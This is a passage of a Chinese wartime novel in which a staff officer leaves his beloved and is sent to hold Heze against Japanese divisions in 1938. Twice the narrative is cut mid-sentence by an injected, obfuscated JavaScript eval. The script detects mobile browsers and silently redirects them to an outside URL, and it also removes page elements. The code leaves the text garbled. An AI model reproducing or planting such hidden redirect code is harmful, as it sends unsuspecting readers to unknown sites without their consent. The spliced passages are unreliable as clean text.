东南一线,日军伊东政喜第101师团旗下佐藤旅团已于7日占领阜宁,已对我鲁南会战主力汤恩伯军团后背造成严重威胁,我第24集团军退往东坎。 西南一线,津浦路南段,日军藤田进第3师团从蚌埠出发,向大营集、宿县进攻;日军吉住良铺第9师团、荻州立兵第13师团主力沿涡河两岸及北淝河向蒙城进攻,连陷龙亢集、张八营后,第13师团1个联队在重炮、坦克掩护下,正全力攻打蒙城; 今日的消息,得到增援的日军午后用飞机大炮轰塌我蒙城东南角数丈城墙,我蒙城守军仅是第48军第173师1个团,孤不敌众;在日军优势兵力轮番冲击下,战至黄昏,我城外守军被敌分割包围,除少数撤回城内的,大多阵亡;城内守军已不足500人。守军副师长周元少将组织敢死队固守东南西三面城门,周将军在电报里称:人在城在,誓与蒙城共存亡! 听完战情分析,大家都明白,蒙城失守,只是时间问题。 若蒙城一失,徐州西南方向又多了一个威胁。原先预判日军合两淮鲁豫至多不过15万人,现在看来,日军是要搞大动作了。 我驻守淮北的第51军和监视鲁西的第55军均已调往鲁南准备会战。在西线,若华北日军土肥原贤二的第14师团南渡黄河,鲁西危险! 真是错误情报害死人。今晚又是一个难眠之夜了。 照例是轮流值夜,只是轮我小睡时却得了一个恶梦:昏暗堂屋中间挂的是我的遗像,梦芸一身黑衣,苍白的脸上眼神空洞,面无表情喃喃的说着:“他还活着,他们打胜战了,他们要把鬼子赶出去,我要等他回来……” 我猛然醒来,发现是一身冷汗;然后一阵心乱,此后再无睡意。 凌晨五点半,蒙城最新战报到了,日军从南门破城,我守军突围人员仅二十余人,周元将军已壮烈殉国。 其他消息传来, 日军机械化精锐中岛今朝吾第16师团已在济宁集结,方向可能是鲁西我郓城一带;华北日军第14师团前锋已有向濮城一带运动的态势。 一场紧急战情分析会议马上召开了。 听完各方面的通报,处长边看地图,边自言自语做着分析:“从目前态势来看,日军华北方面军和华中派谴军有夹击徐州之势;日军16师团已经出动,若是再来一个14师团南下渡过黄河,这郓城,鄄城,菏泽,曹县一带,不好!鲁南会战,我们先前忽视了津浦路南段的危险,现在的鲁西更加危险!鲁西一失,日军将对我第五战区形成合围!第五战区数十万将士危矣!” 处长猛地抬起头来,大声问到:“林之秋,这一带黄河的防务如何?” “原先国防计划尚未完全落实,这一带防御工事相当薄弱,而且目前兵力不足,只有第一战区20集团军下的一个师,就是23师,师长是李必蕃。就说这23师,也苦于兵力不足,已多次申请补充。” “是李师长啊!可是现在哪有兵力去支援他!”处长沉思良久,终于下了决心:“全员听令!为确保鲁南会战之顺利进行,林之秋,吴明远!你们俩火速赶往鲁西,重点督促守军加强关键几个渡口的防务。如若敌军破防,务必坚守郓城、菏泽一线7日以上,为军委会调整部署争取时间,我这电告上峰,并两个战区司令长官部及李师长,其余人员按计划继续前往徐州......” 任务下达后,大家都忙开了。处长想了想后把我留下来了:“之秋,形势险峻。虽然我们两家关系甚好,你我也情同叔侄,但这紧要关头,国事为重,鲁西一战,还牵扯到两个战区的协防,我也只能把最信任的人派出去,而且,沿河防务这块你熟,这个你可理解?你不怪叔叔吧?” “报告处座,卑职明白。” “还有,此去鲁西,要多多小心,当留有用之身报效国家为上。若最坏情况发生,如敌第14师团真的渡河南下,两面夹击,鲁西......凶多吉少。” “报告处座,开战以来,卑职早已存以身报国之决心,此去鲁西若陷死地,当效仿藤县、蒙城之先烈!” “唉!”处长看了看表,发出一声长叹,“之秋,没想到你已有如此之准备!惟愿吉人天相。这样吧,有什么要求?或者,有什么要安排?我这联系驻军安排车子,给你四十分钟,你去处理一下,别叫处座,叫叔叔。” 四十分钟?诀别时刻?我想了想,坚定的说:“叔叔,我去趟医院。” “去医院?” “之秋此前早已备好一封家信,只是没填上日期而已。这回填上了,届时让张薇转交我家里吧。” “之秋!”处长一时有些语塞了,他转过身去,顿了顿,“我让司机七点准时去医院接你。你要好好保重!” 我一个立正,敬了一个标准的军礼,“报告处长,卑职出发!” 处长没有回头,只是挥了挥手,算是告别吧。 我带上诀别书快步走向医院,边走边想梦芸到了医院没?若见着了我该如何?不知怎的早间恶梦就浮现眼前,然后一个不好的念头跳出来:这鲁西之行,该不是我们的宿命吧?心头顿时如压着重石一般,我忽然有些害怕见到梦芸了。 到了医院,没见到梦芸,听说若无上课或值夜班什么都是七点十五分前准时到的;那瞬间,我竟是焕然若失的感觉。 找到张薇,她正在办公桌前整理资料,见我到后便有些惊喜的迎上前来;可一见我掏出诀别书,还未等我说明来意,她竟然脸色大变,连连后退好几步,红着眼睛问道:“之秋,你们,你们这是,要,要出远门么?” “紧急任务,当火速前往鲁西,七点出发。” “鲁西?七点出发?这么紧急?只剩下二十几分钟了,这怎么回事?不是要打徐州会战么?” “今早蒙城已失,徐州西南危险,最新情报日寇1个精锐师团都已压向鲁西,如若华北方面日寇再突破黄河一线,就会形成一个战略大迂回。鲁西若失,日寇包围圈就将形成,不但国军鲁南决战的战略意图受影响,恐怕徐州也危险了。”面对张微, 我只能实话实说。 “那你这去鲁西?是去菏泽这一带么?那不是归第一战区么?我们守军有多少兵力?” “守军只有一个师,且未满员。” “什么,只有一个师? 还未满员?那如何能抵挡日军两个精锐的师团?可有援兵?” “原这一附近还有55军,已调往鲁南,目前无兵可援。若黄河防线被破,要尽量坚守7天以上,就是拼到最后一人,也要延缓日军合围,为军委会调整部署,为其他部队争取时间。” 张薇都快哭了:“可是,可是你这去鲁西,不就是去送死么?” “张军医,这只是做个预防,还不是事实。”我不知怎的居然安慰起她来,然后努力作出一个微笑,“或许是我们多虑了。还有,刚才说的这些,你务必保密,一切以军委会及第五战区司令部长官命令为准。” “这个我晓得。我们这又没有外人,还是叫我薇薇吧,就如我们小时候那样好么?”张薇想了想,突然发现了什么。 “不对,你们处是搞作战计划的,你们这帮原参谋本部出来的,怎么可能空穴来风?你们一定是发现什么!要不,你怎么会一大早就急急火燎的过来,托我,托我转交这东西?之秋,你一定是知道什么的,若日军两个师团压过来,太凶险啦。当初王铭章41军守腾县,整个军都几乎拼光了。之秋,这个你能不去么?要不,我去找处长说说?换个人去?” “薇薇,这个黄河防线我熟悉的,鲁西一行,非之秋莫属。”我咬咬牙,既然已做最坏之准备,要托付,还是和盘托出吧。“如今国难当头,身为革命军人,早已将生死度外了。自去年战事一开,我早已做好随时牺牲之准备。我们一家姐弟四人,一人为国捐躯又有何妨?” 我顿了顿,继续说道:“对于家里,我已没有什么牵挂了,唯一担心的就是母亲。薇薇,若是我此番回不来,请转告她老人家,孩儿不孝,不能侍奉膝下,但自古忠孝不能两全啊。不过孩儿是好样的,没给林家丢脸。只要日寇得除,纵使九泉之下,亦能含笑了。” 张薇听了泪水就忍不住流了下来,话便有些语无伦次:“可是,可是之秋,你还是要活着回来啊......你不回来,那梦芸怎么办?你不知道,这些日子她有多担心?要不,我去叫她,你们好歹再见个面。” 梦芸?我一时转不过弯来,但我知道这回去鲁西,生死已不由我了。 我忽然想起了好多,我想到了徐雅,想到了徐父徐母,想到了梦芸和她妈,还有今早那恶梦,心中有个念头响起:不行,不能让梦里的事情发生! “薇薇,还是别叫她了。时间也来不及了。”那刻,我下了决心,故作轻松的说到:“这样的离别,还是不要的好。” 张薇泪眼巴巴的看着我,喃喃的说着:“之秋,你是不知道的,梦芸对你可是一往情深呀。你表哥的事,我也听说了;那位徐小姐,真的好可怜的。如果,我是说如果你回不来,你可曾想过梦芸会怎样?搞不好她会像徐小姐一样为你守一辈子的。” “所以我决计不能让这一幕发生,你也知道我和梦芸心心相印,可是既然我爱着她,如果我回不来,我怎能忍心让她同徐小姐一样陷进来?如果是那样,我在那边岂能瞑目?我不能害了她的一生,她还年轻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592269|171881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今后会遇到好人的。” 张薇听了久久无语。她默默地接过信封后,步履蹒跚的走回桌前,把信放入抽屉后又迅速关上,那神情像是躲避什么似的。 我见她脸色一片苍白,急速的喘着气,整个人不停颤抖着;一手撑着桌面努力的维持平衡,终于再也忍不住,她捂着嘴,转过身去,抽泣起来。 “薇薇,你怎么啦?”我急忙上前想安慰一番。 张薇扭过头去,兀自说道:“你们这些臭男人,怎么一个个都这样?两个月前要徐州会战开打时,家杰最后一句话也是这么说与家嫂的。” 家杰?不是张薇她哥么?小时候常被妹妹“欺负”来着。我眼前浮现出一幅幅画面,不由小心的问到:“你哥该不会是?” 张薇听了更伤心了。我正不知该如何开口,没想到她一转身就紧紧搂住了我,头贴在我肩膀上,不停地抽噎着。那一刻,我明白了,心里好生难受,只能轻轻的在张薇背上拍着。 “开战这才多久啊!一个个都走了,先是怀生,然后是志鹏,志远两兄弟,后面是庆和,然后是我哥,这诀别书我都转交两份了。都走了,一个个都走了!之秋,当初大院里和我一起玩的男生,就剩下你最后一个了,我不想让你走!” 我听了自是格外难受。“薇薇,别哭了。或许,我命大福大呢。” 楼下传来汽车喇叭声,不用说,到出发时间了。 张薇听到那喇叭声,有些慌乱的抬起头,眼泪汪汪看着我。 “之秋,亲我一下,就如我们小时候玩过家家那样。” 看着张薇那满是泪痕的脸,我犹豫片刻,终于把她拥入怀里,在那额头上,轻轻一吻。 这时候办公室的门忽然开了,然后是“啊”的一声,是梦芸的声音?接着是什么东西掉下来,随后楼板上就有了急切远去的脚步声。 张薇猛然醒悟过来,急忙把我推开,然后雨点般的小拳头锤在我的肩上。 “要死啊,之秋!”她似乎又意识到什么,急忙改口:“之秋,是我不好,我这是,这是疯了么?不行,我去把梦芸找回来!我和她解释解释。” 我该怎么办?这事怎能一下就说清楚? 告诉梦芸我只是来托张薇转交诀别书?告诉她我已做必死之准备? 我不是已做了决定,不能让梦里的事情发生? 张薇转身要去追,却被我拉住了。 未久,透过窗户,我看到楼下一个熟悉的身影捂着嘴穿过院子,急匆匆跑出了医院大门。 我们默默转过身来,这才注意到地上有个木制的饭盒,还有一个纸包。 张薇拾起饭盒打开一看,里头盛的是混沌,汤水有些溢出,还冒着热气;再拆开纸包,是几个戚继光烧饼,也是温的,应该是才出锅不久。她顿时明白了:“我说梦芸今天怎么提早到了,我晓得了!之秋,这一定是梦芸为你准备的早餐,她应该是准备给你送过去的,看看时间来不及,先回医院请假来着,之秋,我还是去找她回来吧。” 我知道是怎么回事了,昨日随口一说,芸儿就记上了。那一刻,我心如刀割!我擦了擦眼角,低声的说:“薇薇,让她去吧。这或许是最好的分别。” “这样不行的,”张薇有些急了:“之秋,我要和梦芸好好解释清楚呀,我和你是谁,是铁打的哥们呀!不行,我这就找她回来!” “薇薇,别去了,一下子也解释不清楚。车已在下面等着,我该出发了。也许,也许这样她不久就能忘了我。就当是我对哥们最后的要求吧,看看有什么办法,让她忘掉我!我走后,别去做解释了,就当哥们之间的秘密。如果我回不来,就把这个秘密烂在肚子里。梦芸还年轻,忘了我后,好嫁人。” 张薇更急了:“之秋,这怎么可以?怎么可以?” 我咬了咬牙,握住她的双手,挤出一个笑容说着:“薇薇,只能这样了。答应我吧。从形势来看,战地医院可能不久也要西撤,就请你带上梦芸一块撤吧。你们要活下去,好好的活下去......还有一件事,薇薇,今后若有可能,多帮帮梦芸。” 张薇眼光直直看着我,似乎想记住什么,任凭泪水奔涌而出。 她紧咬着嘴唇,良久冒出一句:“我答应就是。诶,之秋!你这是何苦呢。” 张薇执意送我到医院大门外。 一阵风吹过,淡紫色的花纷纷飘落。 上了车,明远见状有些不解的问道:“之秋,刚才好像是你那位洪小姐跑了出去?怎么,你们这是?” 见我久久没有回答,他沉默片刻,轻声说道:“林参谋,我们出发吧。” 我点了点头,大声的说:“出发!方向--菏泽。” 后视镜里,张薇渐渐远去,街道渐渐远去,小城也渐渐远去。 一切终于消失在薄薄的晨晖中。 15. 浴血菏泽(上) 临近傍晚,我们终于赶到菏泽。 进了驻地一问,李师长带人视察防务去了。 行政专署那听说军令部派人下来,自是要招待一二,说准备了便饭,被我们以军务紧急推掉了。 稍稍安顿之后,因是初次来,我便对菏泽做个初步了解,一问才知,真是历史悠久,源远流长:伏羲生于雷泽,齐桓会盟于鄄,范蠡定居于陶,刘邦定陶登基建大汉;吴起、孙膑.、曹操......甚至抗日殉国的第一位师长赵登禹将军,都与菏泽颇有渊源,还有那牡丹,更是有曹州牡丹甲天下,天下牡丹出菏泽之美誉,目前山东省政府也暂迁以此。 只是听得愈多,心里愈发的沉重了。如此历史文化之名城,难道又一次要战火纷飞、兵临涂炭么? 可如今菏泽安危,事关全局! 晚饭后见到黄启东参谋长,这是一位干练、沉稳的中年军人,岁月的沧桑刻在脸上;虽然消瘦,或因近期操劳,眼里颇有些血丝,但依旧精神抖擞。因此前开会时见过,也算相识。 听黄参谋长介绍,23师下辖两个旅,李师长深知责任重大,已将第六十八旅驻郓城,六十七旅驻菏泽,自己带领师部直属部队驻守郓城与菏泽之间的皇姑庵。郓城、菏泽沿着黄河一线,防线居然宽达120公里。而且所部团、营、连长多被抽调至武汉受训,兵力不足,一线军官不足,捉襟见肘,令人堪忧。 一个师防线120公里?我听了就有些蒙了。 这点兵力,面对一个日军师团已是够呛,若华北日军南下,黄河怎能守住? 当黄参谋长说起援军未得,对此我们只能相视苦笑了。 没过多久,战区司令部的战情通报到了,处长的电报也到了。 西线,日第16师团今一路已向我12军发起进攻,我军正依托万福河南岸进行防守。另一路酒井旅团已向郓城进犯。 南线,面对咄咄逼人的日13师团,我第68军、第77军、第95师,已归淮北兵团廖磊指挥,以增强正面防守。面对敌情,我们便立刻进行图上推演了。 黄参谋长不愧是久经战事,经验丰富,几句话便点明要点:“林参谋,依我看日寇16师团真正目的是拿下郓城后,顺势南下夺取金乡、鲁台一线,然后兵峰直逼沛县,从西北方向威胁徐州。” 对于这位直爽的湖南汉子,我是打心里佩服的:“参座高见!日寇这是要关上鲁西大门,同时对我们23师侧后方造成直接威胁。” “林参谋,你们处座让我们提防华北日寇,这是对的,如果他们南下攻占菏泽,再向西进犯兰封,威胁开封,切断陇海线,第五战区数十万国军将士就危险了。” 我边看地图边说:“现在最担心的沿河防务,若是华北日寇南下渡河,东明的冷寨,鄄城的旧村,还有董口这一带都有可能。” “林参谋,依你们的情报,这酒井旅团西攻郓城,应是策应华北日寇之举。这样我23师就将面临两线夹击。日寇也可能从濮县一带渡河,时间也可能在夜间或凌晨,”黄参谋长看着地图一声叹息,“问题是不知道他们在哪个点渡河。” “整个防御面太宽了,纵观这近一年的苦战,日寇常集中优势兵力攻击一点,突破后向心突击或侧后包抄,事不迟疑,还请参座安排,我和吴参谋分头行动,直奔渡口巡查,发现问题自当向参座汇报,届时还请参座及时调整,以加强黄河沿线防务为上。” 黄参谋长点了点头,“从目前敌我态势来看,明日我68旅就会和西进之日寇酒井旅团接火。战情紧急,渡口及沿线巡查,就辛苦二位了,二位在军令部是主抓这一块的,看得多,看问题透彻。明早师部战前部署会,还请二位准时出席,对于巡查中发现防务不足之处务必向师座当面提出,以便我部及时调整!” 二话不说,我们两人立刻出发,一夜无眠。 次日会议开得相当简短,日军来势汹汹,我军已在郓城八里河村一带和敌接火,面对兵力不足之窘境,李师长再次要求23师全师上下以一当十,奋勇杀敌,誓死保卫菏泽。 会上我们通报沿河防务检查状况,涉及兵力、武备、火力严重不足、连排军官断层、部分驻军夜间警戒松懈、士气低落等等现状,李师长不由一声长叹。我们都明白,事急从权,当务之急还是先击退当面来犯郓城之敌。眼下23师让67旅守菏泽,也是预防之举,一旦发现华北日军渡河,立即前往阻击。那将是以一个旅的兵力抗击日军一个师团,虽几无胜算,却只能如此了。 但是接下来事态发展,完全出乎我们的意料。 面对日军优势兵力和强大火力,驻守郓城之第68旅旅长李岳霖畏敌不前,仅团长刘冠雄率部死战,郓城于十一日失陷。李师长严令68旅反攻郓城,并亲率师直属部队前往增援,却因众寡悬殊,未能成功。 十一日夜间,不好消息传来,日军14师团于濮县、杨集一带强渡黄河,不久攻陷菏泽西北之董口,十二日鄄城沦陷。 最担心的事情还是发生了。 23师即将陷入日军两个精锐师团夹击之中,万般无奈之下,全师只能放弃反攻;我军先是在菏泽城北之大丁庄一线设防抗击,经一昼夜激战,大丁庄失守,只能再退守菏泽,以待增援。 我军刚退至菏泽,部署尚未周全,日军便追上来了,先是炮兵猛烈轰击,随后步兵、骑兵和摩托车队在坦克和装甲车掩护下,连续发起多轮猛攻,甚至施放毒气;我军将士虽英勇奋战,但终因实力不济,激战至半夜,外围阵地已全线失守,菏泽被围。 最新的战情通报是委员长已抵达郑州,第一战区司令长官部来电要求我军固守待援,争取内外合击。但没想到是,夜间高级军官会议让各军官发言如何守城之时,居然吵成一锅粥了。 67旅长李严武上来开口就说:“师座让我们谈看法,说实话,那我就说说大实话!师座!菏泽守不住,现当趁夜突围!” 黄参谋长一听就火了!“李旅长,我们今天刚退回菏泽,激战至半夜,你就想撤,你说的趁夜突围,是要弃城而逃么?战区司令长官部已令我23师当固守待援7-10日、以待转机,你这是不遵军令、要乱军心么?” 那李严武却是一冷笑:“参谋长想打,可是依你看这战怎么打?这才三天,我们就连败三战,我67旅已伤亡过半,士气低迷,还固守7-10日,你倒是让我如何打下去?” 68旅旅长李岳霖也跟着一旁帮腔:“真是打不过,我们面对的是日军两个精锐师团,若援军迟迟未到,固守菏泽不是陷入死地?” 刘冠雄团长倒是直人快语:“若不是我军有人消极畏战,郓城不会丢;郓城不失,就能与菏泽互为犄角,哪来今日之窘境?” 李岳霖听了却一拍桌子,“刘冠雄!你那打法是让弟兄们拿命去填,我们68旅填的起么?23师填的起么?你看淞沪会战,南京会战,还有此前台儿庄,国军填了多少人命进去,如今战却打成这个样子!” 李严武立刻接上了:“师座!趁夜突围是想为23师留些种子,眼下山东省政府已先撤了,再看今日战事,当面日军东、北、西三面较强,而南面较弱,急战一日,天亮前后,正是我部突围大好时机!” 黄参谋长怒声说道:“两位旅长就这么想留些种子?你们想过没有,如今长官部正筹划鲁南会战,菏泽一失,我陇海铁路必将被敌切断,两位是想让第五战区几十万弟兄身陷险境么?大敌当前,吾辈当死守不渝,牵制敌军!” 李严武听了却不买账:“参谋长好胸怀!但依参谋长的,就该23师剩下这些弟兄身陷险境?参谋长!你忘了去年德县?你忘了此前藤县?参谋长!你担心第五战区将士的性命,我们第一战区将士的性命难道就不是命么?” “王师长藤县牵制敌寇数日,为国捐躯,为我军后面合围敌寇赢得转机,王师长当为吾辈革命军人之楷模!战事一开,各战区自当精诚协作!以期共破敌寇!再说,坚守菏泽,也是战区司令长官部的要求,更是我们23师的使命!李旅长如此想逃,该不是贪生怕死吧!” 黄参谋长真是发怒了,说罢气的拍了一下桌子。 那李严武也怒气冲冲的。“参谋长不要血口喷人!日军炮火一开,我军整连整排将士倒下,我想为23师留下种子,这有何错?” 李师长终于忍不住了,大声说道:“各位别吵了!大战将至,尔等却吵成一团,成何体统?去年德县,是韩复榘百般拖延执行战区部命令,原计划增援的两个师迟迟未到,使我军陷入敌军包围,后按长官部命令,我军不也是撤下来了?违抗命令,擅自撤退的韩复榘,今年初不是在武昌伏法了?” 李师长再看了一眼那两位旅长,厉声说道:“各位!我们今晚这个会议,是要让大家好好想想,如何有效分配兵力,如何守住菏泽!各位看看一月前那池峰城的31师,若无他们在台儿庄内拼死防御,血战14个昼夜,哪来台儿庄大捷?他们守城之法,有许多可为我所用!事关全局,菏泽不能丢!如今敌寇当前,我全师上下,自当勠力同心,决死守城,以待增援!只有这样,我23师善有一线生机,亦不负军委会及司令长官部之重托!亦不负菏泽十几万父老乡亲!参谋长,给司令长官部回电!23师自当固守菏泽,吾等誓与菏泽共存亡!” 会议开到深夜,各部领了军令,部署去了。 李师长再度把我和吴参谋留下,我们明白,是为两位旅长今晚的态度。但我们也清楚23师面临的窘境,尤其是经历去年友军不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592270|171881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作为、如今面对敌二个师团夹击、数战皆墨状况下,部分人员心态或已发生较大变化,却只能安慰李师长,大敌当前,当是上下齐心为上。 对于接下来的大战,李师长还是嘱咐黄参谋长,让我们随师部行动,毕竟我们初来乍到,对地形也不熟悉。对于这好意,我们是心领了,但我们身在菏泽,自当为战事出力。 一番积极请战之下,两位长官终于同意若战事有需,可派我们前往一线。 沟通过后,已过凌晨3点。 原本要抓紧时间休息,我却只小憩十来分钟便醒来,却再无睡意。 想想此次来鲁西,居然真入险境;这不可怕,早已做好随时牺牲之准备。反思我们的工作,若是情报准一些,准备充分一些,战局或会好很多;现在的关键是23师能坚持几天,若能像31师一样成功守到外围我军反攻,或许再来个菏泽大捷也未可知。可是一想到晚间会议那两位旅长的说辞,还有白天的战况,不由得隐隐有些担心起来。 正辗转中,没想一旁吴参谋就问起来:“之秋,你这是睡不着?” “怎么啦?明远,你也睡不着?” 两人坐起,相视一笑,干脆就聊起来,聊着聊着,就聊到诀别书和家人身上去了。 “我听说是明远是浙江人氏,不知府上何地?” “家在桐庐,临近杭州一个小县城,就在富春江边上。” “临近杭州?富春江边上?那是山清水秀的好地方啊。” 明远就笑着说:“风景真是不错的,战前我还想若哪天将小日本赶出中国后,我就解甲归田,在江边寻个地钓鱼去,我也学学严子陵。” 我想了想便问:“严子陵,可是范仲淹文中说的那位?云山苍苍,江水泱泱。先生之风,山高水长?学子陵钓鱼?明远真是好雅致!” “之秋你就别笑话我啦,以前光听说你是才子,书读得多,今天真是服了。若是中国打赢了,之秋可有何愿望?” 我有些不好意思地回道:“我是那回去杭州公办,经过富阳看那富春江景听到的;至于中国赢了后个人愿望,这个还没曾想过,或许四下旅行吧。中国好大,有那么多名山胜景,约三五好友游之,岂不快哉?” “这个好啊!若能活到那个时候,算我一个!小日本占了杭州,对桐庐也不时骚扰,今年还派飞机轰炸,死伤甚众,明远常恨不能回乡杀敌!今能以身报国,明远幸甚!”言语中,我听到了决死之心。 “能以身报国,之秋亦幸甚!明远,我们来个约定,若活到胜利之时,游遍我中华大好河山!谁也不许爽约哦!” 击掌大笑之后,明远直接问起:“那个东西,之秋可是写了?” “写了写了,已托了那位张军医,若有不测,转交我父母便是。明远怎么突然问起这个?” “只是随口一问。不知之秋对于今晚会议,可有想法?” “明远也察觉到了?23师应该坚持不了多久,城陷也就这一两日。来鲁西之前我们不是已有思想准备?” “这倒也是。我也写了,是直接寄给我姐的。父母早年离世,家中小弟由姐带着,明远孑然一身,已再无其他牵挂。这些天也是想明白了。之秋,你我身为革命军人之意义,便是以我身我血,得我所爱之人好好活着,得我所爱之中华千秋万代而已!” “说得好!我家中四姐弟,一个姐姐,还有两个兄长,少我一个也无妨,如今深陷死地,正好以身报国!明远,我们就多杀几个鬼子!有句诗怎么说来着?我自横刀向天笑---” 明远笑着接上了:“去留流肝胆两昆仑!真到那时,和之秋同行,也不枉战友一场!” 话虽如此,那一刻我想起了好多。我想起了父母和家人,想起了芸儿,想起了徐雅,想起了表哥,想起幼时大院里的那些玩伴。这几日也曾一度心乱,可如今形势明朗,我反而完全看开了:死则死矣,为国事而死,不亦快哉! 再度躺下后,我从贴身衬衣拿出军官证,取出梦芸的照片,摘下塑料套,痴痴的看了好一会儿,再小心收起。 芸儿,你这几日可好? 那日匆匆不辞而别,错在之秋,实属无奈。无论你怨也罢、恨也罢,之秋已知此行凶多吉少,又岂能拖累心爱之人? 如今真的身陷死地,城破或在这一两日。 届时唯有拼死杀敌,精忠报国。 芸儿,原谅之秋此生爽约,若有来世,再续前缘。 芸儿!此生忘了之秋吧!好好活下去! 别了,我最爱的人 愿紫藤花开满你今后人生 若你见到那花开似海 那便是我之祝福永恒 愿阳光照亮你每一个梦醒时分 16.浴血菏泽(下) 五月十四日清晨5时许,一阵激烈炮声传来,日军再度攻城了! 从密集的炮声和爆炸猛烈程度来看,应该至少有三四十门75甚至105毫米重炮,猛烈的炮击让整个大地都颤抖起来。不用说,这是敌主力到了! 师部设在省立六中内,城内主要街道设有路障,临街墙壁大都挖出枪眼,城门均用装土麻袋填上,四门吊桥也俱毁。李师长的部署是以城墙为依托,以巷战为重点。但在日军飞机重炮猛烈攻击之下,前方战况已是异常惨烈。 八时许,急报传来,北城头道城门已破,日军先锋已入城! 李师长已带迫击炮连和机枪连亲上前线,黄参谋长急率工兵营及特务连一部前往迎敌。 我和明远要申请出战,却被黄参谋长拦下了:“还不到两位上的时候!城门我们一定会夺回来!两位留在师部!任务是和长官部保持联络!争取支援!根据战情,协助兵力调配!若有危情,急报!” 无奈之下,我们也只好守在师部。听着那密集的枪炮声、爆炸声,加上炸弹不时落下后大地的震动,真让人有种天崩地裂的感觉。 期待的援军最快也要数日之后。从战区长官部的回电来看,日军16师团夺取金乡之后,继续南下攻击单县、沛县,我23师和徐州联系已被切断,南线日军正攻击庐州,日军合围态势已一目了然。 战况焦灼中,忽然师部附件传来密集的交火声。 警戒的士兵传回的消息,两条街外已发现大队日军。后经查实,是一部日军从铁老鸹庙村一带用炮轰塌城角得以攻入城内,正向我师部扑来。 形势已万分危急! 我也不多想,随手提了一把“花机关”,就跟着师部留守官兵冲了出去。 这波日军来势汹汹,一个分队每三人一个小组,四个小组交替掩护,攻击时配合默契,还有掷弹筒、歪摆子火力压制,狙击手掩护,火力远在我军之上。虽此前临街墙壁上挖出的枪眼派上用场,但在日军轮番突击下,我们伤亡惨重,不得不边打边撤退回师部,依托院子进行防守。 师部被围。日军应该发现这里是指挥机关,攻击更疯狂了。 我和吴参谋相视一眼,准备迎接这最后时刻。 危急间敌后枪声、喊杀声大作,日军猝不及防,纷纷倒下,终于退了回去。原来是李、黄两位长官听说师部被围,带队杀了回来。我们士气大振,顺势杀了出去,一番苦战之下,城内日军终被肃清。 回到师部,这才注意到李师长和黄参谋长已是挂彩了。听特务连长说,是此前和城门下日军展开白刃战负伤的,战况惨烈,可见一斑。 问题是防守另一路日军方向的67旅,人都去哪啦?难道出了什么状况? 李师长正要查问,前方消息已传回,67旅旅长李严武已临阵脱逃,战线已千疮百孔,68旅旅部已后撤,仅刘团长一部还在死守,菏泽防务即将全线崩溃。 大雨忽然倾盆而下。 李师长无比懊恼,深深自责道:“用人失察,用人失察啊! 黄参谋长见状急忙安慰道:“师座无需过多自责。当下之急,是将战况迅速上报,以便长官部迅速决断,菏泽还在我们手中,我等誓与敌寇决一死战。” 李师长略作思考,果断下令:“全员集合!” 大雨中,师部全员集合了。 李师长冒雨做了最后动员:“弟兄们,自去年全面抗战以来,我23师东出潼关,一战沧州,二战德县,三战汤阴,今守菏泽,我们什么时候退缩过?杀敌报国,是我们革命军人之英雄本色!哪怕为国捐躯,也虽死无憾!因为我们知道,我们身后,是父老乡亲,是大好河山!兄弟们!我们能让我们的父母兄弟惨遭屠戮,妻女姊妹倍受凌辱,能让我们的家园被侵占,财富被掠夺,让祖先的牌位不保,让我们的后代当亡国奴么?” “不能!”“不能!””不能!” “菏泽还在我们手里,我们无论如何都要坚守阵地,再不能让倭寇狼奔豕突!哪怕拼到只剩一连,一排,甚至一班,一人,就是死也要死在阵地上,绝不后退!报国就在今日!杀敌!杀敌!!我李必蕃誓与菏泽共存亡!” “誓与菏泽共存亡!”喊声直冲云霄。 最后时刻即将到来,除野战医院和电台外,师部人员都已编入战斗小组。 出发前,我和明远商量了一下,给处长发了一封电报:菏泽一战,敌众我寡。虽众将士在李、黄二长官带领下英勇杀敌,亦有67旅旅长带部脱逃。今防线即将崩溃,城破之际,唯有拼死杀敌。 那一刻我们俩觉得,这或许是除了投身战斗外,能为23师最后做的事了。 电报发送完毕,我和明远相互别过,和大家一起冒着大雨,踩着地上的血水,在瓦砾废墟中,向着枪炮声最隆的方向,前进。 下午5时许,全城防线终于崩溃。 日军从多个方向杀入城中,惨烈的巷战开始了。 激战中,我和几位战士登上路边一座小楼,从窗户向外射击。 才打倒几个敌人,街头转角就出现一日军坦克,黑洞洞的炮口指向我们,耳边传来一声大喊:“林参谋小心!”就觉得自己被什么人扑倒,然后眼前一片火光,又迅速陷入黑暗,天崩地裂之间,我失去了知觉…… 我怎么了? 我这是飞起来了啦? 这是哪儿?绿绿稻田中,弯弯小河边,从那白色的碉楼,再到熟悉的大院内,怎么见到一群孩子在玩耍,那里头还有小小的我? 这是汉口吗?那坐在沙发上织毛衣的妇人,可是我多年未见的母亲? 这又是哪儿?好像是南京,怎么到处是断壁残垣啊? 这到哪儿啦?这月亮门好熟悉呀,河边的小楼,淡紫色的花儿盛开,怎么有一位长袍女子,挂着红十字的围裙,上边有好多血迹,痴痴对我笑着,这不是我的芸儿么? 忽然天色突变,炮火横飞;芸儿满脸惊恐,大声哭喊着:之秋,别睡,别睡。我也不停的喊着芸儿,我想奔过去拥她入怀,但似乎路好长好长;不知怎的,我又飘起来,飘向无边的黑暗中,芸儿的身影越来越小,终于不见;但芸儿的哭喊声却不时在耳边响起。 不知什么时候,远处出现一束白光, 